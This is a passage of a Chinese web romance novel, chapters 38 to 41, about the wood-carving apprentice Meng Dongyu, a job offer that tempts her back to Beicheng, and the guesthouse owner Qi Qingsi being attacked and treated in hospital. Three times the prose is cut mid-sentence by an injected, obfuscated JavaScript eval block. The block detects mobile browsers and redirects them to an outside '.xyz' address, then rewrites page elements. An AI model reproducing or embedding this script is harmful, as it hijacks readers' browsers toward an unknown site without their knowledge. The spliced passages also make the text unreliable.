灯光落入他的眼中,原先沉黑的眼睛变得亮晶晶的,又有些湿漉漉的。 就像是……在乞求奖励的小狗。 本来觉得没什么,不过是固定下手腕,方便涂药。 经他这么一问,忽然间就觉得多了点别的意思。 孟冬愉不自然地避开他的视线,鬼使神差地点头:“嗯。” 得到了允许,祁清肆眼底的笑意再也藏不住。 他将创口贴揭掉,一只手的手掌覆上她的手腕,另一只手捏着棉签,认真地帮她的伤口消毒、涂药膏。 落在她手腕上的掌心灼热,与手指上消毒水的冰凉形成鲜明的对比。 孟冬愉垂眼去打量他。 他的唇角轻轻勾起,原先的垂丧状态好似一扫而空,周身都散发着一种愉悦的气息。 帮她涂个药而已。 就那么开心? 不知道是不是察觉到了她的视线,祁清肆突然抬头,对上了她的目光。 四目相对,孟冬愉大脑“嗡”地一声宕了机。 直到门口响起郑泽的声音:“呦,看来我回来得不是时候。” 孟冬愉回神过来,眼神闪躲开,而后慌乱地站起身来。 祁清肆慢悠悠跟着起身。 看见两人的动作,郑泽笑着揶揄:“单膝跪地,求婚呢?” 话音刚落,祁清肆就拎起沙发上的抱枕砸了过去:“闭嘴。” 郑泽眼疾手快地接过抱枕,依旧笑嘻嘻地去惹他:“不是就不是,怎么还恼羞成怒?” 不想让误会再继续下去,孟冬愉连忙解释:“他在帮我涂药。” 郑泽意味深长地“哦”了一声,接着起哄:“大学四年,我可没见祁清肆对谁这么关心过。” 似乎又想到了什么,郑泽凑到孟冬愉面前,神秘兮兮地提醒:“冬愉学姐,你不知道,祁清肆这个人嘴硬得很。” 孟冬愉捕捉到他话里的关键词:“嘴硬?” 郑泽扁着嘴点头:“是啊,他顶着这张脸搞暗恋,还不肯承……” 话没说完,就被祁清肆扯着衣服往楼上拖:“让你闭嘴听不到?” “不是,我助攻呢。”郑泽试着挣脱,却没挣脱开来。 祁清肆嗤笑:“不需要。” 郑泽不甘心,一边被他拽着踉跄地往楼上走,还不忘回头补一刀:“冬愉学姐,别答应那么早,让祁清肆多吃会儿暗恋的……唔……” 话又没说完,就被祁清肆捂了嘴。 暗恋? 孟冬愉望着他们上楼的背影,再次想起了郑泽刚来时说的那些话。 楼上的门被“嘭”地一声关上,祁清肆再次下了楼。 他回到茶几处,下巴点了点楼梯口,若无其事地开口提醒:“不早了,早点休息。” 孟冬愉抿了抿唇角,试图向他确认:“你大学的时候就……” 祁清肆低头收拾医药箱,闻言从瓶瓶罐罐中抬头:“就怎么样?” 忽然间觉得“暗恋”“喜欢”这些词有些难以启齿。 孟冬愉犹豫了片刻,还是问出了口:“暗恋我吗?” 祁清肆看了她好一会儿,而后否认:“没有。” 38. 缓和 没有就好。 从祁清肆的口中听到了否定的答案,孟冬愉莫名松了一口气。 她没再继续深究下去,也没再去思考郑泽说的那些所谓嘴硬之类的话。 她点了点头,而后径直上了楼。 时值午夜,一天下来发生了太多的事情,又熬到这么晚,孟冬愉洗漱好躺回床上,就迷迷糊糊睡了过去。 依旧是一个多梦的夜晚,梦境光怪陆离般变换。 等到清晨的第一声闹钟响起时,孟冬愉揉着发胀的太阳穴,已经分不清昨晚发生的一切究竟是在做梦还是真实的。 孟冬愉头昏脑涨地出门时,刚好碰到运动完回来的祁清肆。 时隔大半个月再次在清晨碰面,他的运动服已经从背心短裤换成了长袖长裤。 眼前站着的这个鲜活又熟悉的人,终于证实了昨晚的对话不是梦境。 孟冬愉心底染上一丝雀跃,但是下一瞬间,又觉得这样不好。 没等孟冬愉开口,祁清肆就先勾着唇角道了声:“早。” 孟冬愉点头,试图与他擦肩而过。 像是察觉到了她心里的想法一样,她的步子还没迈出来,就被祁清肆抬手拦下:“怎么睡了一觉,又不理人了?” 他垂眼看着她,神色里带着一丝委屈:“孟冬愉,昨晚说好的,不能躲我。” 孟冬愉否认:“没躲。” 祁清肆明显不信:“没躲一句话都不和我讲?” 孟冬愉找了个理由,想要离开:“我要去帮师父开店。” 祁清肆哼笑,依旧没有放她走的意思:“祁振强有手有脚,自己也能开。” 孟冬愉无奈地看向他:“那你想怎么样?” 祁清肆下巴点了点客厅的方向,提议道:“一起吃个早饭。” 孟冬愉抬手看了眼时间,还不到六点钟。 谁家这个点就吃早饭? 她摇了摇头,语气中带着拒绝:“太早了。” “不早。”祁清肆完全不理会她的拒绝,捉住她的手腕,拉着她往小院里走,“我先去冲个澡,等会儿再做饭。” 孟冬愉:“?” 洗澡做饭都需要时间,让她坐那里干等着吗? 孟冬愉停下脚步,试图和他商量:“那我先去帮师父开店,等下再回来。” 祁清肆回头看她:“孟冬愉,你不困吗?” 突然换了话题,孟冬愉愣了一下,没反应过来。 “祁振强离开你一天,死不了。”祁清肆嫌弃地轻哧,而后又态度强硬地坚持,“你回去睡觉。” 起都起了,没道理再回去补觉。 大脑又开始嗡嗡作响,孟冬愉蹙了蹙眉:“我不困。” “黑眼圈都堪比熊猫了,叫不困?”祁清肆扫了她一眼,言辞开始变得犀利,“就睡那么点觉,不怕猝死?” 他昨晚睡得应该还要比她更晚些,也是这么一大早起床运动。 睡觉的时间比她只少不多,怎么还反过来强迫她睡觉? 孟冬愉脱口而出:“你起这么早锻炼,不也没猝死。” “嗯,是没猝死。”祁清肆被气笑,咬着牙点头,而后一字一句道,“不过,快被气死了。” 意识到到自己的话说得有点过分,孟冬愉抿了抿唇角:“抱歉,我不是那个意思。” 没等他应声,孟冬愉接着为方才的话找补:“我只是好奇你为什么总是起这么早锻炼。” 祁清肆明显不信她的解释,但还是给了一个理由:“我躲人。” 孟冬愉:“?” 躲人?逮人还差不多。 孟冬愉这次没再将吐槽说出口,而是装作疑惑地问:“躲谁?” 祁清肆不答反问:“你说呢?” 她怎么知道? 孟冬愉摇头:“不知道。” 祁清肆拉着她的手腕,继续往客厅走,半晌后才慢悠悠开口:“我社恐,见人都躲着走。” 孟冬愉:“……” 忘了这茬。 孟冬愉虽然一心都在木雕上,但是也听童欣瑶吐槽过很多次。 自从上次祁清肆出了镜,民宿再次爆火之后,隔三差五就有人去满汀洲堵他。 祁清肆被各种搭讪搞得不胜其烦,又回到了当初见人都躲着走的时候。 一路走回客厅,又拉着她一起上了楼,停在她的房间门口,祁清肆才松了手。 祁清肆下巴点了下门口,示意她进去:“好好睡一觉,饭做好了我喊你。” 孟冬愉没辙,只能在他的注视下回了房间。 她最近确实没怎么好好休息过。 月中忙完了手工活动,又连忙和幻宙游戏的市场负责人对接了合作的相关事宜,然后又在月底趁着热度赶了份策划案出来。 整个月下来,可以说是每天都在连轴转。 身体沾床,困意很快袭来。 再次醒来时,已经是中午。 孟冬愉匆匆忙忙地收拾好下楼,祁清肆正在往餐桌上端饭菜。 他一边盛饭,一边示意孟冬愉过去:“醒了?来吃饭。” “不是说一起吃早饭吗?”孟冬愉为自己的贪睡感到懊恼,“你怎么没喊我?” 祁清肆闻言懒洋洋应声:“我怕猝死,也补了一觉。” 孟冬愉:“……” 早上就不该信他的话。 一上午没去木雕店,也没和祁振强提前说一声。 孟冬愉有些担心,以祁振强的脾气,会因此而生气。 看着祁清肆已经拉开了椅子,等着她过去吃饭。 孟冬愉想了一下,指了指门外,解释道:“我先去和师父说一声。” 祁清肆有些好笑提醒她:“孟冬愉,现在是祁振强求着你帮忙。” 拜师学艺,最基本的礼貌肯定要有。 孟冬愉试图解释:“他是我师父。” “师父?”祁清肆轻哼,“他要是关心你,早来问了。” 话说完,祁清肆似乎看到了什么,目光从她脸上望向门口,神色染上一丝讥嘲:“孟冬愉,一个抛妻弃子,又封建古板的男人,有什么好尊重的?” 孟冬愉随着他的视线回头,就看到祁振强正在门口站着。 刚才祁清肆的话应该就是故意说给他听的。 外面也不知道什么时候下了雨,祁振强拎着正在滴水的雨伞,裤脚还有些湿。 他站在那里仿佛没有要再进来的意思。 孟冬愉叹了口气,向祁振强解释:“师父,我上午不小心睡过了头,所以没去成木雕店。” “不用向我汇报。”祁振强将伞再次撑开,转身沿着长廊走入雨中,只留下沧桑的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14286127|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“也确实是我求着你帮忙。” 明明伤人的话得到满意的效果,祁清肆却看着心情不好的样子,脸色也不怎么好看。 他见孟冬愉还在原地站着,再次喊道:“孟冬愉,过来吃饭。” 这顿饭吃得格外沉默。 直到二号房的大哥突然回来,他看着桌子上没怎么动过的饭菜,开口问道:“祁老板,方便蹭个饭不?” 祁清肆面无表情地点头:“嗯。” 二号房的大哥性格比较自来熟,又加上在这里住了挺久,和祁清肆还有孟冬愉都还算熟悉。 见祁清肆点头,就乐呵呵地拿着筷子,在祁清肆对面坐下吃饭。 他一边吃,一边夸张地赞扬祁清肆的手艺,而后又想到了什么似的,忽然问:“祁老板,你家的那个小客服国庆回来不?” “没了她,感觉这满汀洲乐趣都少了一大半。” 祁清肆漫不经心地给孟冬愉夹菜,而后应声:“回头我问问。” 没得到准确的答复,二号房的大哥好像也不是特别在意,扒拉一口饭,又换了话题:“对了,咱们民宿啥时候再搞场烧烤派对呗,过去这老些天我总念想着那晚烧烤的味道。” 祁清肆这会儿到像是有了民宿老板的样子,有求必应:“行,改天安排。” 孟冬愉在二号房的大哥和祁清肆的对话中,吃饱了饭。 简单帮着收拾了一下,就去了祁振强的木雕店。 孟冬愉进店的时候,祁振强正在给师弟师妹们教学。 她打了声招呼,径直去了工作台。 刚坐下没多久,幻宙的市场活动负责人,就给她发来了微信,汇报进度。 【姐妹,前两天的那个策划案已经过完会了。我们领导觉得特别好,没什么需要进一步修改的地方,现在已经递到裴总那里去了。】 【不出意外的话,这两天应该就会有结果。】 孟冬愉回她:【好的,期待能合作。】 对面显示正在输入中很久,再次发了消息过来:【姐妹,冒昧问一下,你目前的薪资待遇怎么样啊?】 孟冬愉原本没把这件事当做事业来看,所以也没想过获得什么薪资报酬。 但是这期间祁振强给她包了不少红包,知道她写策划案要用,前些天特意给她买了台笔记本电脑。 更何况还将祖辈传承下来的手艺教给了她,也不能说是无偿。 孟冬愉一时间不知道要怎么回复。 可能是见她太久没回音,对面接着发:【不方便透露也没关系。我只是好奇你为什么会跑去干这行?】 【以你的学历和能力,去别的大厂应该比现在过得滋润吧?】 对面的话像一剂清醒针,忽然间扎醒了她。 她原本来南江只是为了散散心,休息一个月。 不曾想,阴差阳错地碰上祁振强,进而执拗地想去证明自己。 现在她已经得到了自己想要的结果,为什么还要留在这里继续下去呢? 她需要一份稳定的工作,需要存款,需要生活。 长期待在南江,长期跟着祁振强学艺,不是长久之计。 对面的消息再次发过来:【是这样的,我们领导听说了最近南江木雕的爆火,是你在背后操盘,所以就想让我来问问你,有没有跳槽来我们公司的意向?】 39. 抉择 幻宙这些年,发展势头迅猛。 旗下的各类手游常年霸占应用市场游戏APP巅峰榜。 算得上国内游戏行业top级别的公司。 能收到他们公司递来的橄榄枝,孟冬愉在之前是完全不敢想的。 对面还在等着她的回复,孟冬愉犹豫了一下,才发了消息过去。 【感谢贵司的认可,我考虑一下再给您答复可以吗?】 可能是见她终于有了回音,对面连忙回:【可以的可以的,确实是我太突然了。】 【我们领导以及我本人,都很希望你能加入我们公司。】 话题又围绕着合作的事情聊了几句,双方又回到了各自的本职工作上。 孟冬愉心不在焉地给手头上的木雕抛光,思绪一直停留在幻宙的负责人发来的消息上。 算算时间,她来南江也将近两个月了。 这里的生活节奏很慢,人情味也足,很少见到那些勾心斗角、尔虞我诈的事情。 确实是个修身养心的好去处。 如果能够选择,她也会想像载酒一样,在这里定居。 但是她终究和载酒不一样,现在的她没有足够的资本,去选择真正想过的生活。 她需要一份薪资可观的工作,需要入职一个有着明确晋升途径的公司。 她在北城待了八年多,早已经习惯了那里的一切,也适应了那个快节奏、都市化、什么都冷冰冰的城市。 回到北城,加入幻宙,是最好的选择。 …… “再磨下去,你就得重雕了。” 身后祁振强的声音将孟冬愉的思绪唤回。 孟冬愉手上的动作顿了一下,而后慌乱地回头。 祁振强板着脸开口:“状态不行就回去休息,别在这浪费我的木头。” 相处久了,孟冬愉早已经摸透了他的脾性。 向来喜欢正话反说,典型的刀子嘴豆腐心。 知道祁振强是在关心她,孟冬愉摇了摇头:“没事,只是走神了。” 话说完,见祁振强还站在她身后,孟冬愉起身看着他问道:“师父,您找我吗?” 祁振强从口袋里掏了个红包出来,放到她的工作台上:“这个月的报酬。” 红包鼓鼓的,比前几次祁振强给的还要厚。 孟冬愉当初和他打赌,赌的只是她帮祁振强的店铺起死回生,祁振强教她手艺。 并没有想过要从他这里获得金钱之类的报酬。 但是她每次策划的活动结束,都能收到祁振强发来的红包。 祁振强找的理由很充分,说是南江的习俗,事情办成了之后,都要包红包的。 他态度强硬,孟冬愉也不好不收。 只是前些天那场手工活动结束后,她已经收了红包,和幻宙的合作才刚起了个头。 现在没道理再收什么报酬。 孟冬愉把红包还给他:“您已经教了我很多东西。” “给你你就拿着。”祁振强没接,转身回了自己的工作台,又想到了什么似的,再次补充,“下个月开始,店里的净利润,我会分你两成。” 孟冬愉抿了抿唇角,将自己刚刚做好的决定讲了出来:“不用了师父,等下个月联名活动结束,我就打算回北城了。” 祁振强闻言再次起身,神色有一瞬间的慌张:“回去?” “嗯。”孟冬愉点头,而后缓缓开口,“当初说好的,三个月的时间,我帮您把店铺死起回生,现在的发展势头已经超乎了我的预料,后面那场活动结束,应该也不需要我再做什么了。” 祁振强试图挽留:“手艺才学了个皮毛,就半途而废?” 她当初真正的目的就不是为了跟着祁振强学手艺,只是觉得既然学了,她肯定要努力做到最好。 对于一些并不是多么热爱的东西,需要适时放弃。 孟冬愉这次没有为自己辩解,沉默着没再吱声。 祁振强的脸色变了又变,最后叹了口气,摆了摆手妥协道:“你自己看着办。” 店外师弟师妹们叽叽喳喳的声音响起,又把祁振强喊了出去。 孟冬愉有时候挺羡慕这些师弟师妹们的,他们无论热不热爱这一行,无论最后会不会放弃,都会有家里人为他们托底。 手中木雕兔子的眼睛已经快被她刚才的走神给磨平了,孟冬愉重新拿起雕刻刀,进行修复。 一个兔子打磨完成,一下午也过去了。 孟冬愉清理好桌面,准备出去吃晚饭时,胡杭火急火燎地跑了过来。 胡杭刚进门,就大声嚷嚷:“祁叔,不好了,肆哥出事了,现在在医院。” 祁振强手中的雕刻刀“啪”地一声掉落到桌面上,他皱着眉头匆忙出了里间的门:“怎么回事?” 孟冬愉心脏猛地一揪,跟在祁振强身后一起出来。 胡杭跑得满头大汗,讲话也有些上气不接下气:“肆哥……肆哥他……他被人拿酒瓶砸了头。” “就那个……肆哥在南樟路的那套房子……” 胡杭话没讲完,就被祁振强和孟冬愉异口同声打断:“先去医院。” 孟冬愉跟着祁振强一起上了胡杭的车,一路没停地抵达医院,到了病房,心底悬着的一颗石头,才缓缓落了下来。 祁清肆的头发被剃掉了一半,头又被绷带缠着,正坐在病床上输液。 人是清醒的,看着应该没有生命危险。 祁振强见状似乎也松了一口气,铁青着脸问道:“到底发生了什么?” “你以什么身份问的?”祁清肆态度一如既往地恶劣,“我又不是你儿子,问那么多做什么?” 可能是见祁清肆还有精力和他吵架,祁振强没理会他的阴阳怪气。 他板着脸“哼”了一声:“不是挺有能耐的,怎么还被人打了? 祁清肆嗤笑,再次将话题往旧怨上扯:“没你有能耐,自己老婆死了都不掉一滴泪的。” 父子之间的导火索再次被引了出来,伤口又一次被血淋淋地剥开。 病房内的氛围一瞬间降至冰点。 就连往日擅长调节氛围的胡杭,似乎也有了什么心事,站在一旁沉默不语。 祁振强被祁清肆气得脸上青一阵又白一阵,而后留下一句话转身就走:“你死了我更不会掉一滴泪。” 病房门“啪”地一声合上,屋内的氛围依旧压抑着。 胡杭叹了口气,试图劝说:“肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295080|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥,祁叔他也是担心你。” 祁清肆没搭腔。 孟冬愉想都没想就匆匆忙忙地跟着赶了过来,现在祁振强离开了,她也不好再说离开。 她犹豫了片刻,试图将话题从父子关系上转移到事件本身:“究竟怎么回事?” “动手的人是故意的还是?” 胡杭闻言,有些气愤地解释:“就肆哥南樟路的那套房子不是租给了一个老太太吗?” “那老太太今天上午突发脑梗去世了,去世前最后一通电话是打给肆哥的,肆哥没接到,他家里人非说是肆哥照顾不周,害死了那老太太。” “下午她儿子过来闹事,把肆哥给打了。” 应该是越说越气,胡杭整个人声音都不自觉高了几分:“我真服了,谁家房东还要时刻关心着租客是不是身体不舒服啊?” 孟冬愉试图回溯事件的起因:“他们是痛苦没地方发泄,还是想要有别的诉求?” 胡杭脸上挂着一丝嘲讽:“他们才没看出来有多痛苦,只想着让肆哥赔钱。” “房子里死了人,谁还愿意租?肆哥怎么可能还要赔他们钱?” 孟冬愉顺着胡杭的话总结:“所以他们就动手打了人?” 得到了肯定的答案,孟冬愉看向祁清肆:“是没来得及躲开吗?” 上次和那群小混混打架时,她见过祁清肆的身手,以一敌多并不在话下,不应该被伤得这么重。 没等祁清肆应声,胡杭就抢先回答:“肆哥根本没还手。” 就任由他们拿着酒瓶往他头上砸? 孟冬愉有些不解地看着祁清肆,问题还没问出口,就先听到祁清肆出了声。 他垂头,神色带着几分自责:“如果我接到了那通电话,事情或许就有转圜的余地。” 胡杭一听更气了:“也就肆哥你心软。” “这几年,你随叫随到,没少去给那老太太帮忙,做到你这份上的房东能有几个?” “你又不是她雇的保镖,她身体不舒服不先给她儿子电话,却先找你,本来就是没道理的事情。” 一通话噼里啪啦地说完,胡杭又看向孟冬愉:“冬愉姐,你给评评理。” 孟冬愉忽而想起祁清肆之前说的那句话,他说他这个人就喜欢多管闲事。 他确实是一个很好的人,对很多事情都很上心,做得不好会后悔会自责也能理解。 但是孟冬愉心底并不赞同这样的付出却不求回报的做事方式。 人就应该冷漠一点,等价交换才能利益最大化。 孟冬愉抿了抿唇角,将心里话说了出来:“这本来就不是你的义务。” “所以,没必要为这件事情承担责任。” 胡杭见孟冬愉站在他这边,又开始回归主题:“要我说,那老太太也真够可怜的。” “活着的时候没见家里人来过,死了却要被家里人用来讹一笔。” 祁清肆扯了扯唇角,目光复杂地看向孟冬愉,解释道:“她不是南江人,当初是受不了丈夫长期的家暴,才偷偷跑来南江的。” “如果不是这次意外去世,估计这辈子都不会回去了。” 孟冬愉闻言愣了一下,而后下意识攥紧了拳头。 40. 照顾 这些年的经历早已经让她变得麻木。 旁人的生老病死又或者悲欢离合,孟冬愉大多时候都是冷眼看着,很难感同身受。 但是祁清肆话里的关键词像是一把锐利的尖刀,剖开了她织好的厚厚的茧。 一系列黑暗的记忆破茧而出,密密麻麻地涌现。 脑海中准确又细致地描摹出那位老太太被拳打脚踢的场景,画面和回忆重叠,让她辨不清究竟是现实还是虚构。 指甲快要嵌入掌心,痛得人眼眶发酸。 “这么一听,那老太太更可怜了,怪不得快不行了都不愿意给她儿子打电话。” 胡杭将室内的安静打破,又试图去征询孟冬愉的看法,视线落到孟冬愉脸上后,有些疑惑:“冬愉姐,你怎么……” 话没说完,就被祁清肆打断:“帮我带换洗的衣服没?” “当时只顾着去喊祁叔,我给忘了。”胡杭闻声看向祁清肆,有些不好意思地挠了挠头,解释完又接着补充,“我等下再回去一趟。” 祁清肆下巴点了点门口,语气带着点不容置喙:“现在去。” “行吧。”胡杭对于祁清肆向来有求必应,他撇了撇嘴,从口袋里摸出一串钥匙,出了门。 病房门再次打开又合上。 孟冬愉敛了敛眉,回神过来后试图将方才的情绪压下去。 祁清肆眸光沉沉地看着她,接着开口:“孟冬愉,我不是什么都管的烂好人。” 突如其来的一句话,像是在解释什么。 孟冬愉并没有理解他讲这句话的意思。 她没吱声,等着他接下来的话。 “我出手帮忙,只是觉得——” 话说到一半就突然停顿,孟冬愉下意识顺着他问:“觉得什么?” 祁清肆神色有一瞬间的迟疑,似乎在想接下来的话到底该不该说。 他的视线在她脸上徘徊了片刻,终于将未说完的话讲了出来:“觉得她五六十岁的年纪,独自一人来到异地他乡,割断了所有的血脉亲缘,值得敬佩。” 是因为值得敬佩吗? 不是因为觉得她可怜才帮忙的吗? 孟冬愉蜷了蜷手指,想说点什么,却又不知道以她的身份和立场,该说些什么。 祁清肆也没等着她的回答,盯着她的眼睛,一字一句地接着说:“这个世界上有很多人和她有着一样的经历,她们或许比她年轻、比她有能力,但都没她勇敢。” “孟冬愉,你觉得呢?” 他的语气正常,仿佛只是在和她探讨老太太这件事情。 但是他的话却字字句句都在她心头上敲击,让她原本凝固的血液重新循环,让她原本麻木的神经变得敏锐,让她不自觉去想更多。 她们没她勇敢。 她们不敢舍弃一切,不敢狠狠心将那些让她们感到痛苦的关系割断。 见她不应声,祁清肆又换了话题:“很多人都会长智齿,也会因为发炎经常感到疼痛,可是有些人偏偏不愿意去治疗。” “明明可以忍着一时之痛连根拔出,为什么非要留着它,让它时不时折磨人呢?” 比喻形象贴切,又带着些点拨的意味。 孟冬愉觉得像是被一只无形的手扼住了喉咙,莫名感到窒息。 她深吸一口气,下意识避开他视线:“我不太清楚你在说些什么。” 祁清肆扯起唇角笑了下,又恢复些平日里的懒散,顺着她的话道:“我也不知道自己在说些什么。” 他平日里吊儿郎当,言行举止时常带着些顽劣和幼稚。 但是在重要的事情上,总是有着不符合他年龄的观点或见解。 并且三言两语就能将人说服。 孟冬愉再次抬眼去打量他,试图打破那些刻板印象,去了解他真正是一个怎样的人。 视线相撞,却被祁清肆避开,他语调染着点委屈:“是不是很丑?” 她原本想要窥探他的心思,被他这莫名其妙的一句话给打断。 心底的疑惑促使孟冬愉本能地问道:“什么很丑?” 祁清肆幽幽开口:“头发剃了一半,还缝了几针,我觉得你在嫌弃我。” 孟冬愉:“?” 她哪个眼神嫌弃他了? 而且都这个时候了,没什么生命危险已经是不幸中的万幸,怎么还要顾及美丑? 说是这么说,孟冬愉还是没忍住去看他。 很多人都说光头才是检验一个帅哥的标准。 不得不承认,这句话在此刻在他身上得到了证实。 他头上绑着绷带,没了头发的修饰,五官显得更加硬朗。 只能说像是换了种风格,但是和“丑”字完全搭不上边。 孟冬愉无奈否认:“我没有。” 祁清肆视线丈量了一下他们之间的距离,有些不满:“没有为什么离我那么远?” 孟冬愉:“……” 无理取闹。 确定了他没什么大事,孟冬愉看了眼时间:“时间不早了,我先回去了。” 祁清肆环顾四周,神色带着几分可怜:“留我一个病人在这儿啊?” 留他一个人在这儿确实不太好。 孟冬愉叹了口气,朝他病床边走了几步:“那我等胡杭来。” “嗯。”祁清肆勾起唇角点了点头,想起了什么似的,又问她,“饿不饿?” 来医院之前,孟冬愉是打算出去吃饭的,现在耽误了这么久,胃里早已经空荡荡的。 孟冬愉抿了抿唇角:“还行。” 祁清肆自顾自点头:“我也饿了。” 听他这么说,孟冬愉指了指门口,提议道:“那我下楼去买点吃的。” 与其在这儿站着等胡杭来,不如先去帮他把饭买了。 “不用。”祁清肆捞过手机看了眼,“已经订好了,十分钟左右送来。” “两人份,等下一起吃。”补充完,他下巴指了指病床边的椅子,“先坐。” 她没按照祁清肆的示意在床边坐下,依旧站在原地问道:“你什么时候订的?” 祁清肆身体向后靠了靠,蹙着眉头闭了闭眼,而后才漫不经心地应声:“胡杭去找你们的时候。” 孟冬愉没察觉到他的异常,只是接着问:“只订了两个人的,我吃了,胡杭怎么办?” 祁清肆:“他吃过了。” 孟冬愉疑惑:“那你为什么还订两个人的?” 闻言,祁清肆目光直白地看向她:“因为知道你会来。” “也知道你这个点应该还没吃饭。” 知道她会来? 孟冬愉怔愣了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329040|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,立即开口解释:“我只是……” “只是什么?”祁清肆哼笑一声,将她的心底的慌乱戳破,“不想让我觉得,你在担心我,是吗?” 他的话音刚落,就有护士推门进来换药。 “今天最后一瓶药,输完就可以拔针了。”护士将换下的空瓶子取下来,看了眼孟冬愉,又开口叮嘱,“趁着家属在这儿,我再和你们讲一下。” “病人有些轻微脑震荡,需要留院观察几天,这几天建议卧床静养,保持情绪稳定,不要剧烈运动。” “身体上有什么不舒服的,及时喊医生。” 护士刚离开,订的餐也刚好送达。 两段插曲打断了他们方才的对话,孟冬愉想要接着去解释些什么,却被祁清肆打断。 “孟冬愉,我饿了。” 孟冬愉思绪收回,没再执拗地回到方才的话题。 她将餐盒的包装袋拆开,把其中一份饭菜和粥摆在病床前的桌子上,而后把筷子递给他。 “一起。”祁清肆指了指不远处的桌椅,示意她也去吃。 孟冬愉没再客气,将她那一份餐食摆好,坐下去用食物去填补她那空荡荡的肚子。 一碗粥喝完,都不见不远处的祁清肆动筷子。 孟冬愉不解:“你不是饿了吗?” 祁清肆垂眼看了看自己的手:“头晕,没力气,手抬不起来。” 这么严重,连筷子都拿不起来吗? 本来想着他只有左手在输液,右手应该不影响吃饭。 孟冬愉犹豫了一下:“那等胡杭来了喂你。” 祁清肆对她的建议不置可否,而是换了话题:“我中午的时候不太开心。” 中午在满汀洲他和祁振强的那场对峙,她看得出来,他心情不好。 只是,为什么忽然提起这个? 孟冬愉顺着他的话应声:“我知道。” 祁清肆接着说:“所以午饭没吃几口,现在饿得难受,等不到胡杭来了。” 孟冬愉佯装不明白他的意思:“那怎么办?” 祁清肆咬牙,神色带着点恼意:“孟冬愉,我都这么可怜了,你就不能同情我一下吗?” 孟冬愉温声提醒:“医生说,要你保持情绪稳定。” 祁清肆深吸了一口,直勾勾地盯着她,终于提出了诉求:“喂我。” 孟冬愉:“……” 就知道他会这么说。 他为她做了那么多事情,她总得做点什么还他。 孟冬愉叹了口气,端起他的面前的粥,轻轻搅拌了一下,而后将汤匙送到他的唇边。 祁清肆面上的不爽烟消云散,他张口抿掉,满意地评价:“还挺甜,以后可以多订他们家的。” 孟冬愉的那碗粥刚刚喝完,粥里并没有放糖,她看了眼面前这碗和她那碗一模一样的粥:“你这碗放了糖?” 祁清肆含糊不清地应声:“不知道,反正挺甜的。” 孟冬愉没再继续追究下去,一勺一勺地接着喂。 祁清肆像是忽然间想起了什么,再次开口:“温承卿最近怎么样?” 孟冬愉闻言应声:“师兄应该挺忙的,你怎么突然问起他?” 祁清肆勾起唇角,看着面前的汤匙,语气带着点胜利者的骄傲:“没什么,想他了。” 41. 揽腰 饭才吃了一半,祁清肆放在床头的手机突然响起了铃声。 他看了眼来电显示,而后按了接听。 胡杭的声音顺着扬声器传来,带着点歉意解释:“肆哥,我车半路抛锚了,现在在等拖车,等下还要去维修,估计一时半会儿赶不到医院了。” 祁清肆将口中的食物咽下,慢悠悠开口:“嗯,不急,你先处理。” 胡杭关心地问:“你吃饭了吗?” 祁清肆看了眼孟冬愉递来的食物,唇角扬了扬:“在吃。” “那就行。”胡杭松了口气,又接着补充,“冬愉姐还在吧?你让她替我照顾你一会儿,改天我请她吃饭。” 祁清肆哼笑:“不用。” “肆哥,现在不是逞强的时候。”胡杭闻言试图劝说,“你现在输着液,干什么都不方便,冬愉姐在我也放心一点。” 见胡杭没理解他的意思,祁清肆凑过去将孟冬愉手上的食物咬走,又补充:“我是说,不用你请她吃饭。” 祁清肆的话音刚落,电话那头传来一阵吵闹声,而后是胡杭和别人的交谈声。 片刻后,胡杭的声音才再次清晰了起来:“先不说了啊,拖车到了,反正我这边尽快处理好,尽量不耽误晚上过去。” 通话结束,孟冬愉再次夹了菜递到祁清肆面前,想了一下,才问道:“胡杭为什么要请我吃饭?” 祁清肆勾起唇角,散漫应声:“你也不想让他请你吃饭?” 什么叫也不想? 孟冬愉解释:“不是,我的意思是,胡杭好像总是对你的事情格外上心。” 祁清肆闻言顿了一下,自嘲般反问:“看出来了?” 经过这些天的接触,孟冬愉多多少少发现了一些异样。 朋友之间仗义执言,偶尔帮个忙,小打小闹一下,是很正常的一件事情。 就比如郑泽和祁清肆的相处模式,该出手帮忙时绝不吝啬,但是也会揶揄会调侃,不满的时候还会吵架甚至打架。 但是同样是朋友,胡杭对祁清肆的态度近乎是唯命是从,好像从来不敢真正忤逆他。 很早之前的那次庆功宴,孟冬愉隐约记得,胡杭似乎也提起过“欠他”之类的话。 孟冬愉试图猜测:“你之前救过他?” “不是我。”祁清肆垂头,手指剐蹭着手背上的医用胶带,半晌后才再次开口,“我妈去世那晚,救上来的人是他。” 